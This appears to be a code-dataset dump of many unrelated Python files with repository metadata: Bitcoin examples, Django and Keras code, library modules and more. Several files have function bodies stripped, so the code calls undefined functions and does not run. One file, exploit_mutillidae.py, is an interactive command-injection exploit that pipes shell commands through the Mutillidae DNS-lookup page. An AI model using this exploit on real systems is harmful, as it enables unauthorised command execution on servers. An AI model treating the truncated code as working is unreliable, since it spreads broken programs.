ac79385f0f5c532c4496afb0999dcc78d78a4e70
174
py
Python
Python32/hackeandoface3.py
andersonsilvade/python_C
ffc00184883089f1c2d9b8a6c32503b2c8b8d035
[ "MIT" ]
null
null
null
Python32/hackeandoface3.py
andersonsilvade/python_C
ffc00184883089f1c2d9b8a6c32503b2c8b8d035
[ "MIT" ]
null
null
null
Python32/hackeandoface3.py
andersonsilvade/python_C
ffc00184883089f1c2d9b8a6c32503b2c8b8d035
[ "MIT" ]
1
2020-11-04T08:36:28.000Z
2020-11-04T08:36:28.000Z
import urllib.request import json url = 'http://graph.facebook.com/fmasanori' resp = urllib.request.urlopen(url).read() data = json.loads(resp.decode('utf-8')) print(data)
19.333333
43
0.735632
ac79cb182a550452c6328b4a381ff03422af574d
1,769
py
Python
oasislmf/cli/admin.py
fl-ndaq/OasisLMF
921718bfad2eb12844960df7f7330284d4e0bedc
[ "BSD-3-Clause" ]
88
2018-03-24T11:57:10.000Z
2022-03-21T13:04:41.000Z
oasislmf/cli/admin.py
fl-ndaq/OasisLMF
921718bfad2eb12844960df7f7330284d4e0bedc
[ "BSD-3-Clause" ]
558
2018-03-14T14:16:30.000Z
2022-03-29T12:48:14.000Z
oasislmf/cli/admin.py
fl-ndaq/OasisLMF
921718bfad2eb12844960df7f7330284d4e0bedc
[ "BSD-3-Clause" ]
41
2018-04-09T11:13:12.000Z
2021-10-05T14:43:11.000Z
__all__ = [ 'AdminCmd', 'CreateComplexModelCmd', 'CreateSimpleModelCmd', 'EnableBashCompleteCmd', ] from argparse import RawDescriptionHelpFormatter from .command import OasisBaseCommand, OasisComputationCommand
30.5
76
0.70944
ac7ad18388f99ac970094896775d9050ae74ed49
1,802
py
Python
examples/spend_non_std_tx.py
kanzure/python-bitcoin-utils
a75b470676edb70bd71cb6a57e7e86f78ccc63ce
[ "MIT" ]
null
null
null
examples/spend_non_std_tx.py
kanzure/python-bitcoin-utils
a75b470676edb70bd71cb6a57e7e86f78ccc63ce
[ "MIT" ]
null
null
null
examples/spend_non_std_tx.py
kanzure/python-bitcoin-utils
a75b470676edb70bd71cb6a57e7e86f78ccc63ce
[ "MIT" ]
null
null
null
# Copyright (C) 2018 The python-bitcoin-utils developers # # This file is part of python-bitcoin-utils # # It is subject to the license terms in the LICENSE file found in the top-level # directory of this distribution. # # No part of python-bitcoin-utils, including this file, may be copied, # modified, # propagated, or...
34.653846
89
0.743618
ac7e3f648dd1532e3a366df0f18eb0ba06867a86
801
py
Python
src/nutman_field_names.py
hudsonburgess/nutcracker
2533d7659873d1ec75beb251f941e8a90bdebb89
[ "MIT" ]
null
null
null
src/nutman_field_names.py
hudsonburgess/nutcracker
2533d7659873d1ec75beb251f941e8a90bdebb89
[ "MIT" ]
null
null
null
src/nutman_field_names.py
hudsonburgess/nutcracker
2533d7659873d1ec75beb251f941e8a90bdebb89
[ "MIT" ]
null
null
null
f = open('../data/8-20-17.nm2') out = open('../data/8-20-17-field-names.txt', 'w') for line in f: if line.startswith('FieldName'): field_name = get_field_name_from_line(line) field_name = remove_description(field_name) field_name_list = split_multiple_field_names(field_name) for na...
27.62069
64
0.627965
ac7e4bb5b2639e3ce5fc5958996d880251838bdd
317
py
Python
setup.py
algerbrex/plex
0d7096634d13ee4d695b580892894910eba6a4eb
[ "MIT" ]
2
2018-02-15T16:26:54.000Z
2021-11-08T12:26:12.000Z
setup.py
algerbrex/plex
0d7096634d13ee4d695b580892894910eba6a4eb
[ "MIT" ]
null
null
null
setup.py
algerbrex/plex
0d7096634d13ee4d695b580892894910eba6a4eb
[ "MIT" ]
null
null
null
from distutils.core import setup setup( name='plex', version='0.1.0', author='Christian Dean', author_email='c1dea2n@gmail.com', packages=['plex'], license='MIT', platforms='any', description='Generic, lighweight regex based lexer.', long_description=open('README.md').read(), )
21.133333
57
0.649842
ac8080a2e2bb7b553d1d31e52508d8e6de00b522
595
py
Python
kwikposts/admin.py
Vicynet/kwiktalk
198efdd5965cc0cd3ee8dcf5e469d9022330ec25
[ "bzip2-1.0.6" ]
null
null
null
kwikposts/admin.py
Vicynet/kwiktalk
198efdd5965cc0cd3ee8dcf5e469d9022330ec25
[ "bzip2-1.0.6" ]
null
null
null
kwikposts/admin.py
Vicynet/kwiktalk
198efdd5965cc0cd3ee8dcf5e469d9022330ec25
[ "bzip2-1.0.6" ]
null
null
null
from django.contrib import admin from .models import KwikPost, Comment, Like # Register your models here.
25.869565
80
0.710924
ac82ebe59874721741e7d60b6d0389e4f4666104
3,113
py
Python
solvebio/resource/solveobject.py
PolinaBevad/solvebio-python
f6c736baa01b5a868a385cb0baf8f9dc2007cec3
[ "MIT" ]
14
2015-01-07T15:31:00.000Z
2021-11-02T10:03:28.000Z
solvebio/resource/solveobject.py
PolinaBevad/solvebio-python
f6c736baa01b5a868a385cb0baf8f9dc2007cec3
[ "MIT" ]
200
2015-01-26T17:12:21.000Z
2022-01-14T08:59:30.000Z
solvebio/resource/solveobject.py
PolinaBevad/solvebio-python
f6c736baa01b5a868a385cb0baf8f9dc2007cec3
[ "MIT" ]
9
2015-02-18T22:49:28.000Z
2020-09-01T17:48:35.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import import six import sys from ..client import client from .util import json
28.3
73
0.603919
ac844765c4ce5c32dfa9aa2da4c0094d7fbd95aa
154
py
Python
convert.py
Resist4263/span-aste-1
13815a262638592506b445315d03df8db965947b
[ "Apache-2.0" ]
null
null
null
convert.py
Resist4263/span-aste-1
13815a262638592506b445315d03df8db965947b
[ "Apache-2.0" ]
null
null
null
convert.py
Resist4263/span-aste-1
13815a262638592506b445315d03df8db965947b
[ "Apache-2.0" ]
null
null
null
from gensim.scripts.glove2word2vec import glove2word2vec (count, dimensions) = glove2word2vec("dataset/glove.42B.300d.txt", "dataset/cropus/42B_w2v.txt")
51.333333
96
0.811688
ac854af38b11787c1689126c56bfc2405c99c2c4
4,970
py
Python
src/pcbLibraryManager/libraries/librarySwitches.py
NiceCircuits/pcbLibraryManager
df83f24b5a558e0f7f72629d9ef7c82fcb9e6718
[ "CC0-1.0" ]
null
null
null
src/pcbLibraryManager/libraries/librarySwitches.py
NiceCircuits/pcbLibraryManager
df83f24b5a558e0f7f72629d9ef7c82fcb9e6718
[ "CC0-1.0" ]
1
2016-04-16T08:16:36.000Z
2016-04-16T08:16:36.000Z
src/pcbLibraryManager/libraries/librarySwitches.py
NiceCircuits/pcbLibraryManager
df83f24b5a558e0f7f72629d9ef7c82fcb9e6718
[ "CC0-1.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sun Jul 19 22:17:33 2015 @author: piotr at nicecircuits.com """ from libraryManager.library import libraryClass from footprints.footprintSmdDualRow import footprintSmdDualRow from libraryManager.part import part from libraryManager.symbol import symbol from libraryManager.symbol...
38.230769
88
0.597988
ac85b889248a7fe66df90411b1896a2b3cc25961
131
py
Python
Codeforces/problems/0799/A/799A.py
object-oriented-human/competitive
9e761020e887d8980a39a64eeaeaa39af0ecd777
[ "MIT" ]
2
2021-07-27T10:46:47.000Z
2021-07-27T10:47:57.000Z
Codeforces/problems/0799/A/799A.py
foooop/competitive
9e761020e887d8980a39a64eeaeaa39af0ecd777
[ "MIT" ]
null
null
null
Codeforces/problems/0799/A/799A.py
foooop/competitive
9e761020e887d8980a39a64eeaeaa39af0ecd777
[ "MIT" ]
null
null
null
import math n, t, k, d = map(int, input().split()) x = math.ceil(n/k) * t if (d + t) < x: print("YES") else: print("NO")
13.1
38
0.503817
ac8615af3d9f334ab252cb1f100f3ad3f649766c
3,159
py
Python
model.py
ganeshpc/flower-classification
aa836389f04b40a4368d4c1bf2c13cc44ee51af1
[ "MIT" ]
null
null
null
model.py
ganeshpc/flower-classification
aa836389f04b40a4368d4c1bf2c13cc44ee51af1
[ "MIT" ]
null
null
null
model.py
ganeshpc/flower-classification
aa836389f04b40a4368d4c1bf2c13cc44ee51af1
[ "MIT" ]
null
null
null
import keras from keras import layers from keras.layers import Dropout, Dense from keras.preprocessing.image import ImageDataGenerator import numpy as np import tensorflow_hub as hub import cv2 import pandas as p IMAGE_SHAPE = (224, 224) #(HEIGHT, WIDTH) TRAINING_DATA_DIRECTORY = '/content/drive/My Drive/Colab ...
24.679688
106
0.709085
ac86900c935920ddf1e7d5f2d9ab4b10680baaec
12,421
py
Python
psg_utils/io/header/header_standardizers.py
perslev/sleep-utils
9f9edf67f4cac6d8361243b4153bfe6351314844
[ "MIT" ]
1
2022-03-17T10:37:17.000Z
2022-03-17T10:37:17.000Z
psg_utils/io/header/header_standardizers.py
perslev/sleep-utils
9f9edf67f4cac6d8361243b4153bfe6351314844
[ "MIT" ]
null
null
null
psg_utils/io/header/header_standardizers.py
perslev/sleep-utils
9f9edf67f4cac6d8361243b4153bfe6351314844
[ "MIT" ]
null
null
null
""" A set of functions for extracting header information from PSG objects Typically only used internally in from unet.io.header.header_extractors Each function takes some PSG or header-like object and returns a dictionary with at least the following keys: { 'n_channels': int, 'channel_names': list of strings,...
41.821549
120
0.646164
ac8b1415e78b57c9f8a18413e55459164d6e3fa4
2,620
py
Python
py/hover/cfg.py
HomeSmartMesh/raspi
43ecd07c130144c72d7c7da677eab1980d555cc2
[ "MIT" ]
16
2019-12-19T09:23:05.000Z
2022-01-25T18:34:36.000Z
py/hover/cfg.py
HomeSmartMesh/raspi
43ecd07c130144c72d7c7da677eab1980d555cc2
[ "MIT" ]
4
2020-06-07T08:13:29.000Z
2021-09-04T09:34:37.000Z
py/hover/cfg.py
HomeSmartMesh/raspi
43ecd07c130144c72d7c7da677eab1980d555cc2
[ "MIT" ]
3
2020-08-28T13:00:30.000Z
2020-12-17T09:10:19.000Z
import sys,os import json import logging as log import socket from collections import OrderedDict import datetime from platform import system as system_name # Returns the system/OS name from subprocess import call as system_call # Execute a shell command def ping(host): """ Returns True if host (str) re...
34.473684
127
0.594656
ac8b3ba743761efaa0df8e7bef2daa017b63a13e
27,156
py
Python
guillotina/schema/tests/test__bootstrapfields.py
diefenbach/guillotina
a8c7247fca8294752901f643b35c5ed1c5dee76d
[ "BSD-2-Clause" ]
null
null
null
guillotina/schema/tests/test__bootstrapfields.py
diefenbach/guillotina
a8c7247fca8294752901f643b35c5ed1c5dee76d
[ "BSD-2-Clause" ]
null
null
null
guillotina/schema/tests/test__bootstrapfields.py
diefenbach/guillotina
a8c7247fca8294752901f643b35c5ed1c5dee76d
[ "BSD-2-Clause" ]
null
null
null
############################################################################## # # Copyright (c) 2012 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
33.902622
79
0.647739
ac8b7c1d0b88747e30dd4b04da5a9e3ae9540f10
2,410
py
Python
project.py
pedroalvesfilho/rest_flask_render0
81b7e1e865d083718a60e5ec38a0ca8f889e14f8
[ "MIT" ]
null
null
null
project.py
pedroalvesfilho/rest_flask_render0
81b7e1e865d083718a60e5ec38a0ca8f889e14f8
[ "MIT" ]
null
null
null
project.py
pedroalvesfilho/rest_flask_render0
81b7e1e865d083718a60e5ec38a0ca8f889e14f8
[ "MIT" ]
null
null
null
#!/usr/bin/env python from flask import Flask from flask import render_template, request app = Flask(__name__) """ # https://www.pluralsight.com/guides/manipulating-lists-dictionaries-python # A list is a mutable, ordered sequence of items. # list = ['a', 'b', 'c'] # list[0] # A dictionary is a mutable, unordered se...
33.472222
92
0.607469
ac8b7fc77b1b29feaa2f6078b42fbbccbd054d3d
1,971
py
Python
tests/bugs/core_1894_test.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2022-02-05T11:37:13.000Z
2022-02-05T11:37:13.000Z
tests/bugs/core_1894_test.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2021-09-03T11:47:00.000Z
2021-09-03T12:42:10.000Z
tests/bugs/core_1894_test.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2021-06-30T14:14:16.000Z
2021-06-30T14:14:16.000Z
#coding:utf-8 # # id: bugs.core_1894 # title: Circular dependencies between computed fields crashs the engine # decription: # Checked on LI-T4.0.0.419 after commit 19.10.2016 18:26 # https://github.com/FirebirdSQL/firebird/commit/6a00b3aee6ba17b2f80a5b00def728023e34...
24.036585
106
0.650431
3ba2a6cd1ef7931310fdf480d5b0bc1594f43a55
1,296
py
Python
lib/pykdlib/modules.py
bin601/pkyd
2b60c0ebd81e9e3e29f88ea60691d5c403df2160
[ "MIT" ]
1
2020-05-31T20:11:03.000Z
2020-05-31T20:11:03.000Z
lib/pykdlib/modules.py
bin601/pykd
2b60c0ebd81e9e3e29f88ea60691d5c403df2160
[ "MIT" ]
null
null
null
lib/pykdlib/modules.py
bin601/pykd
2b60c0ebd81e9e3e29f88ea60691d5c403df2160
[ "MIT" ]
1
2020-11-13T11:12:47.000Z
2020-11-13T11:12:47.000Z
# # Modules Info # import pykd moduleList = [] reloadModules()
17.28
133
0.549383
3ba3da7e08c14ac9df758e9e45e7cb972fc56eb2
139
py
Python
compiled/construct/repeat_eos_u4.py
smarek/ci_targets
c5edee7b0901fd8e7f75f85245ea4209b38e0cb3
[ "MIT" ]
4
2017-04-08T12:55:11.000Z
2020-12-05T21:09:31.000Z
compiled/construct/repeat_eos_u4.py
smarek/ci_targets
c5edee7b0901fd8e7f75f85245ea4209b38e0cb3
[ "MIT" ]
7
2018-04-23T01:30:33.000Z
2020-10-30T23:56:14.000Z
compiled/construct/repeat_eos_u4.py
smarek/ci_targets
c5edee7b0901fd8e7f75f85245ea4209b38e0cb3
[ "MIT" ]
6
2017-04-08T11:41:14.000Z
2020-10-30T22:47:31.000Z
from construct import * from construct.lib import * repeat_eos_u4 = Struct( 'numbers' / GreedyRange(Int32ul), ) _schema = repeat_eos_u4
15.444444
34
0.755396
3ba72f829fd19f1024caa6c030fe4b09746f7a00
2,981
py
Python
Python/simpleencrypt/aes256.py
shreyasnayak/SimpleEncrypt
32223ee7a52baf186c53ac065cb61e9a32e4d20f
[ "MIT" ]
null
null
null
Python/simpleencrypt/aes256.py
shreyasnayak/SimpleEncrypt
32223ee7a52baf186c53ac065cb61e9a32e4d20f
[ "MIT" ]
null
null
null
Python/simpleencrypt/aes256.py
shreyasnayak/SimpleEncrypt
32223ee7a52baf186c53ac065cb61e9a32e4d20f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # aes256.py # This file is part of SimpleEncrypt project (https://github.com/shreyasnayak/SimpleEncrypt) # # Copyright Shreyas Nayak (c) 2021-2022 <shreyasnayak21@gmail.com> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documen...
36.353659
92
0.739349
3ba741e941c63d039ed8b54e0f39f036cca0c01c
1,735
py
Python
tests/widgets/test_error_dialog.py
sisoe24/NukeServerSocket
fbb95a609fcaf462aeb349597fae23dda67bf49b
[ "MIT" ]
12
2021-08-01T09:41:24.000Z
2021-12-03T02:53:10.000Z
tests/widgets/test_error_dialog.py
sisoe24/NukeServerSocket
fbb95a609fcaf462aeb349597fae23dda67bf49b
[ "MIT" ]
5
2021-09-11T16:51:01.000Z
2022-02-18T16:20:29.000Z
tests/widgets/test_error_dialog.py
sisoe24/NukeServerSocket
fbb95a609fcaf462aeb349597fae23dda67bf49b
[ "MIT" ]
2
2021-08-03T16:02:27.000Z
2021-08-06T07:51:54.000Z
"""Test module for the Error dialog widget.""" import os import logging import pytest from PySide2.QtGui import QClipboard from src.widgets import error_dialog from src.about import about_to_string def test_report_return_value(report): """Check if prepare report return is a tuple.""" assert isinstance(re...
27.539683
78
0.725648
3ba791283dc54edfe51e5015658bbc050291ab63
3,854
py
Python
DataStructure/Table/HashTable.py
zhangsifan/ClassicAlgorighthms
b769d46727279cf6d8532819076a3fef496d05c7
[ "Apache-2.0" ]
27
2021-04-21T08:17:25.000Z
2021-06-30T07:04:49.000Z
DataStructure/Table/HashTable.py
zhangsifan/ClassicAlgorighthms
b769d46727279cf6d8532819076a3fef496d05c7
[ "Apache-2.0" ]
null
null
null
DataStructure/Table/HashTable.py
zhangsifan/ClassicAlgorighthms
b769d46727279cf6d8532819076a3fef496d05c7
[ "Apache-2.0" ]
1
2021-04-21T11:26:01.000Z
2021-04-21T11:26:01.000Z
# -*- coding: utf-8 -*-# ''' @Project : ClassicAlgorighthms @File : HashTable.py @USER : ZZZZZ @TIME : 2021/4/25 18:25 ''' if __name__ == "__main__": ht = HashTable() # ht.init([2, 3, 5, 8, 9, 10, 2, 9, 1, 5, 2, 1, 7, 9, 11]) print(":\n{}".format(ht)) # ht.inser...
23.644172
69
0.493254
3ba7a6554c459e41f8d769b9e6caea0153ae3a05
7,908
py
Python
ossdbtoolsservice/query/batch.py
DaeunYim/pgtoolsservice
b7e548718d797883027b2caee2d4722810b33c0f
[ "MIT" ]
33
2019-05-27T13:04:35.000Z
2022-03-17T13:33:05.000Z
ossdbtoolsservice/query/batch.py
DaeunYim/pgtoolsservice
b7e548718d797883027b2caee2d4722810b33c0f
[ "MIT" ]
31
2019-06-10T01:55:47.000Z
2022-03-09T07:27:49.000Z
ossdbtoolsservice/query/batch.py
DaeunYim/pgtoolsservice
b7e548718d797883027b2caee2d4722810b33c0f
[ "MIT" ]
25
2019-05-13T18:39:24.000Z
2021-11-16T03:07:33.000Z
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
38.38835
157
0.69221
3ba806cb9a29badf3e7a080781be0d67fc995823
1,017
py
Python
seqlib.py
rvenkatesh99/sequence_alignment
107c262ef25ddbf025e054339bdd29efd728033a
[ "MIT" ]
null
null
null
seqlib.py
rvenkatesh99/sequence_alignment
107c262ef25ddbf025e054339bdd29efd728033a
[ "MIT" ]
null
null
null
seqlib.py
rvenkatesh99/sequence_alignment
107c262ef25ddbf025e054339bdd29efd728033a
[ "MIT" ]
null
null
null
import gzip
17.237288
43
0.573255
3ba896ffed28499b8d1d9a50c6e51c5241f414aa
2,413
py
Python
train.py
adamian98/LabelNoiseFlatMinimizers
2c7a60ea0b72f8ac3a0ce3f059526440385b4f60
[ "MIT" ]
7
2021-08-21T23:45:28.000Z
2021-12-13T13:39:38.000Z
train.py
adamian98/LabelNoiseFlatMinimizers
2c7a60ea0b72f8ac3a0ce3f059526440385b4f60
[ "MIT" ]
null
null
null
train.py
adamian98/LabelNoiseFlatMinimizers
2c7a60ea0b72f8ac3a0ce3f059526440385b4f60
[ "MIT" ]
null
null
null
import torch from pytorch_lightning import Trainer, seed_everything from pytorch_lightning.loggers import WandbLogger from pytorch_lightning.callbacks import LearningRateMonitor from data import CIFAR10Data from module import CIFAR10Module from callbacks import * from pathlib import Path import wandb from absl import...
30.544304
85
0.703274
3ba9c357940e99f10b2151b5ccc410817c1d8e70
10,559
py
Python
test/lda/createGraphFeatures.py
bekou/graph-topic-model
7bd99aede6c22675f738166e690174ae0917b9eb
[ "MIT" ]
6
2020-01-17T13:23:35.000Z
2022-01-15T22:49:34.000Z
learn/lda/createGraphFeatures.py
bekou/graph-topic-model
7bd99aede6c22675f738166e690174ae0917b9eb
[ "MIT" ]
null
null
null
learn/lda/createGraphFeatures.py
bekou/graph-topic-model
7bd99aede6c22675f738166e690174ae0917b9eb
[ "MIT" ]
1
2019-05-26T15:57:35.000Z
2019-05-26T15:57:35.000Z
import networkx as nx import string import numpy as np import math
43.632231
254
0.58604
3bab2d583dbdb20d52e61488899227c07f7c4954
30,867
py
Python
blocks/bricks/sequence_generators.py
KIKOcaoyue/blocks
dfbeb400cfacfc1abe75e377cc03c1bf61b9c2fa
[ "BSD-3-Clause" ]
1,067
2015-05-16T23:39:15.000Z
2019-02-10T13:33:00.000Z
blocks/bricks/sequence_generators.py
loveisbasa/blocks
7f380deec8f810b390880e6a4de836115e6e478d
[ "BSD-3-Clause" ]
577
2015-05-16T18:52:53.000Z
2018-11-27T15:31:09.000Z
blocks/bricks/sequence_generators.py
loveisbasa/blocks
7f380deec8f810b390880e6a4de836115e6e478d
[ "BSD-3-Clause" ]
379
2015-05-21T03:24:04.000Z
2019-01-29T02:55:00.000Z
"""Sequence generation framework. Recurrent networks are often used to generate/model sequences. Examples include language modelling, machine translation, handwriting synthesis, etc.. A typical pattern in this context is that sequence elements are generated one often another, and every generated element is fed back in...
35.357388
78
0.655846
3bad4e23a3beb6bf9c00280bce54c9d434b3e821
1,752
py
Python
src/plotComponents2D.py
ElsevierSoftwareX/SOFTX-D-21-00108
3ae995e7ef2fa2eb706a2f55390d8b53424082af
[ "MIT" ]
null
null
null
src/plotComponents2D.py
ElsevierSoftwareX/SOFTX-D-21-00108
3ae995e7ef2fa2eb706a2f55390d8b53424082af
[ "MIT" ]
null
null
null
src/plotComponents2D.py
ElsevierSoftwareX/SOFTX-D-21-00108
3ae995e7ef2fa2eb706a2f55390d8b53424082af
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np
36.5
114
0.4629
3bafd74c087e7fcccb34aa701eb50c300c1ce2a1
5,541
py
Python
bin/sa_haveibeenpwned/aob_py3/cloudconnectlib/splunktacollectorlib/data_collection/ta_data_collector.py
hRun/SA-haveibeenpwned
2a8ae3dedc405dc3c8dac1cb6a705a70f574afdb
[ "Apache-2.0" ]
2
2020-08-17T07:52:48.000Z
2020-12-18T16:39:32.000Z
bin/sa_haveibeenpwned/aob_py3/cloudconnectlib/splunktacollectorlib/data_collection/ta_data_collector.py
hRun/SA-haveibeenpwned
2a8ae3dedc405dc3c8dac1cb6a705a70f574afdb
[ "Apache-2.0" ]
5
2020-12-15T23:40:14.000Z
2022-02-23T15:43:18.000Z
bin/sa_haveibeenpwned/aob_py3/cloudconnectlib/splunktacollectorlib/data_collection/ta_data_collector.py
hRun/SA-haveibeenpwned
2a8ae3dedc405dc3c8dac1cb6a705a70f574afdb
[ "Apache-2.0" ]
4
2019-05-16T09:57:33.000Z
2021-07-14T12:31:21.000Z
#!/usr/bin/python from __future__ import absolute_import from builtins import object import threading import time from collections import namedtuple from . import ta_consts as c from ..common import log as stulog from ...splunktalib.common import util as scu evt_fmt = ("<stream><event><host>{0}</host>" ...
37.693878
80
0.497203
3bb2017aa37b51490a6ff0089cf9d21b31b7addf
220
py
Python
basic_assignment/32.py
1212091/python-learning
30fad66460daf73fd3961cf667ee25b91dee923d
[ "MIT" ]
null
null
null
basic_assignment/32.py
1212091/python-learning
30fad66460daf73fd3961cf667ee25b91dee923d
[ "MIT" ]
null
null
null
basic_assignment/32.py
1212091/python-learning
30fad66460daf73fd3961cf667ee25b91dee923d
[ "MIT" ]
null
null
null
circle = Circle(2) print("Area of circuit: " + str(circle.compute_area()))
20
55
0.631818
3bb3f6ef40737ea90a9f45f3effca880da0d4227
154
py
Python
lambdata-mkhalil/my_script.py
mkhalil7625/lambdata-mkhalil
87f74166a3ae4f4cc92733cb5fc0c15e3b32f565
[ "MIT" ]
null
null
null
lambdata-mkhalil/my_script.py
mkhalil7625/lambdata-mkhalil
87f74166a3ae4f4cc92733cb5fc0c15e3b32f565
[ "MIT" ]
null
null
null
lambdata-mkhalil/my_script.py
mkhalil7625/lambdata-mkhalil
87f74166a3ae4f4cc92733cb5fc0c15e3b32f565
[ "MIT" ]
null
null
null
import pandas as pd from my_mod import enlarge print("Hello!") df = pd.DataFrame({"a":[1,2,3], "b":[4,5,6]}) print(df.head()) x = 11 print(enlarge(x))
14
45
0.62987
3bb55e28e639f9add169bf9d74da89f4b5663f84
885
py
Python
exploit_mutillidae.py
binarioGH/minihacktools
664e72ccc54089baa3b4d2ddc28bdcddbfdd1833
[ "MIT" ]
null
null
null
exploit_mutillidae.py
binarioGH/minihacktools
664e72ccc54089baa3b4d2ddc28bdcddbfdd1833
[ "MIT" ]
null
null
null
exploit_mutillidae.py
binarioGH/minihacktools
664e72ccc54089baa3b4d2ddc28bdcddbfdd1833
[ "MIT" ]
null
null
null
#-*-coding: utf-8-*- from requests import session from bs4 import BeautifulSoup #Aqui pones la ip de tu maquina. host = "192.168.1.167" #Aqui pones la ruta de el dns-lookup.php route = "/mutillidae/index.php?page=dns-lookup.php" with session() as s: cmd = '' while cmd != 'exit': cmd = input(">>") payload = "|...
32.777778
87
0.692655
3bb5cf6df03cde1b36d438f6ec362fdce3a55254
101
py
Python
submissions/abc085/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
1
2021-05-10T01:16:28.000Z
2021-05-10T01:16:28.000Z
submissions/abc085/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
3
2021-05-11T06:14:15.000Z
2021-06-19T08:18:36.000Z
submissions/abc085/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
null
null
null
# sys.stdin.readline() import sys input = sys.stdin.readline print(input().replace('2017', '2018'))
16.833333
38
0.70297
3bb6a612c41a6fc405f13a76e25386f09fd4787a
4,069
py
Python
rsmtool/utils/files.py
MarcoGorelli/rsmtool
8759f5bec09a8ba0dd2ca16f6af8ce100d5ea6a0
[ "Apache-2.0" ]
null
null
null
rsmtool/utils/files.py
MarcoGorelli/rsmtool
8759f5bec09a8ba0dd2ca16f6af8ce100d5ea6a0
[ "Apache-2.0" ]
null
null
null
rsmtool/utils/files.py
MarcoGorelli/rsmtool
8759f5bec09a8ba0dd2ca16f6af8ce100d5ea6a0
[ "Apache-2.0" ]
null
null
null
""" Utility classes and functions for RSMTool file management. :author: Jeremy Biggs (jbiggs@ets.org) :author: Anastassia Loukina (aloukina@ets.org) :author: Nitin Madnani (nmadnani@ets.org) :organization: ETS """ import json import re from glob import glob from pathlib import Path from os.path import join from .c...
29.70073
111
0.616368
3bbaa7105c8bdb5d9e446a53505849bc8d258fd0
2,479
py
Python
src/aiotube/playlist.py
jnsougata/AioTube
719bc52e442d06f922ada65da7650cfb92a0f237
[ "MIT" ]
4
2021-10-02T07:01:22.000Z
2021-12-30T08:27:36.000Z
src/aiotube/playlist.py
jnsougata/AioTube
719bc52e442d06f922ada65da7650cfb92a0f237
[ "MIT" ]
2
2021-11-18T20:21:39.000Z
2021-12-27T17:12:17.000Z
src/aiotube/playlist.py
jnsougata/AioTube
719bc52e442d06f922ada65da7650cfb92a0f237
[ "MIT" ]
3
2021-10-01T03:21:33.000Z
2021-12-21T20:49:30.000Z
from ._threads import _Thread from .utils import filter from .videobulk import _VideoBulk from ._http import _get_playlist_data from ._rgxs import _PlaylistPatterns as rgx from typing import List, Optional, Dict, Any
27.853933
90
0.592981
3bbaf9656983dcec4f85d013784da058e74250a8
160
py
Python
actions/sleep.py
bhaveshAn/Lucy
9ea97184c725a10a041af64cad0ef4b533be42ad
[ "MIT" ]
1
2018-04-13T08:26:27.000Z
2018-04-13T08:26:27.000Z
actions/sleep.py
bhaveshAn/Lucy
9ea97184c725a10a041af64cad0ef4b533be42ad
[ "MIT" ]
null
null
null
actions/sleep.py
bhaveshAn/Lucy
9ea97184c725a10a041af64cad0ef4b533be42ad
[ "MIT" ]
null
null
null
import random
20
73
0.65
3bbc9e86460d1c4a98d44711f0b944fd26bd0864
441
py
Python
django_sso_app/core/api/utils.py
paiuolo/django-sso-app
75b96c669dc0b176dc77e08f018a3e97d259f636
[ "MIT" ]
1
2021-11-16T15:16:08.000Z
2021-11-16T15:16:08.000Z
django_sso_app/core/api/utils.py
paiuolo/django-sso-app
75b96c669dc0b176dc77e08f018a3e97d259f636
[ "MIT" ]
null
null
null
django_sso_app/core/api/utils.py
paiuolo/django-sso-app
75b96c669dc0b176dc77e08f018a3e97d259f636
[ "MIT" ]
null
null
null
import logging from django.contrib.messages import get_messages from django.utils.encoding import force_str logger = logging.getLogger('django_sso_app') def get_request_messages_string(request): """ Serializes django messages :param request: :return: """ storage = get_messages(request) ...
20.045455
48
0.709751
3bbcc2fb4051ff428b3a3b66b12c0e4e0235c79c
1,092
py
Python
download_stock_data.py
dabideee13/Price-Pattern-Prediction
632d961fc08777adab8eeb7ecbf16ac7cc71a3a7
[ "MIT" ]
null
null
null
download_stock_data.py
dabideee13/Price-Pattern-Prediction
632d961fc08777adab8eeb7ecbf16ac7cc71a3a7
[ "MIT" ]
null
null
null
download_stock_data.py
dabideee13/Price-Pattern-Prediction
632d961fc08777adab8eeb7ecbf16ac7cc71a3a7
[ "MIT" ]
null
null
null
#!/opt/anaconda3/bin/python # -*- coding: utf-8 -*- """ Get Stock Data """ import time import pandas as pd import yfinance as yf if __name__ == '__main__': # Path to file # TODO: make directory if directory doesn't exist f_file = "/Users/d.e.magno/Datasets/raw_stocks_new.csv" # TODO: need to ...
24.266667
77
0.598901
3bbd5cc24a379d3da78746ccf10468524d2749f7
2,421
py
Python
_int_tools.py
CaptainSora/Python-Project-Euler
056400f434eec837ece5ef06653b310ebfcc3d4e
[ "MIT" ]
null
null
null
_int_tools.py
CaptainSora/Python-Project-Euler
056400f434eec837ece5ef06653b310ebfcc3d4e
[ "MIT" ]
null
null
null
_int_tools.py
CaptainSora/Python-Project-Euler
056400f434eec837ece5ef06653b310ebfcc3d4e
[ "MIT" ]
null
null
null
""" This module contains functions related to integer formatting and math. """ from functools import reduce from itertools import count from math import gcd, prod # ================ ARRAY FORMATTING FUNCTIONS ================ def int_to_int_array(num): """ Deprecated, use int_to_digit_array(num) """ ...
23.278846
79
0.534077
3bbf01d5cb0102d02a8a8a3dba1f25da4c1520b3
2,260
py
Python
source/stats/lstm_model_builder.py
dangtunguyen/nids
a92b56a5ac29cc1482ae29374eef02bb7654785f
[ "MIT" ]
2
2019-11-22T19:56:50.000Z
2020-12-15T02:43:52.000Z
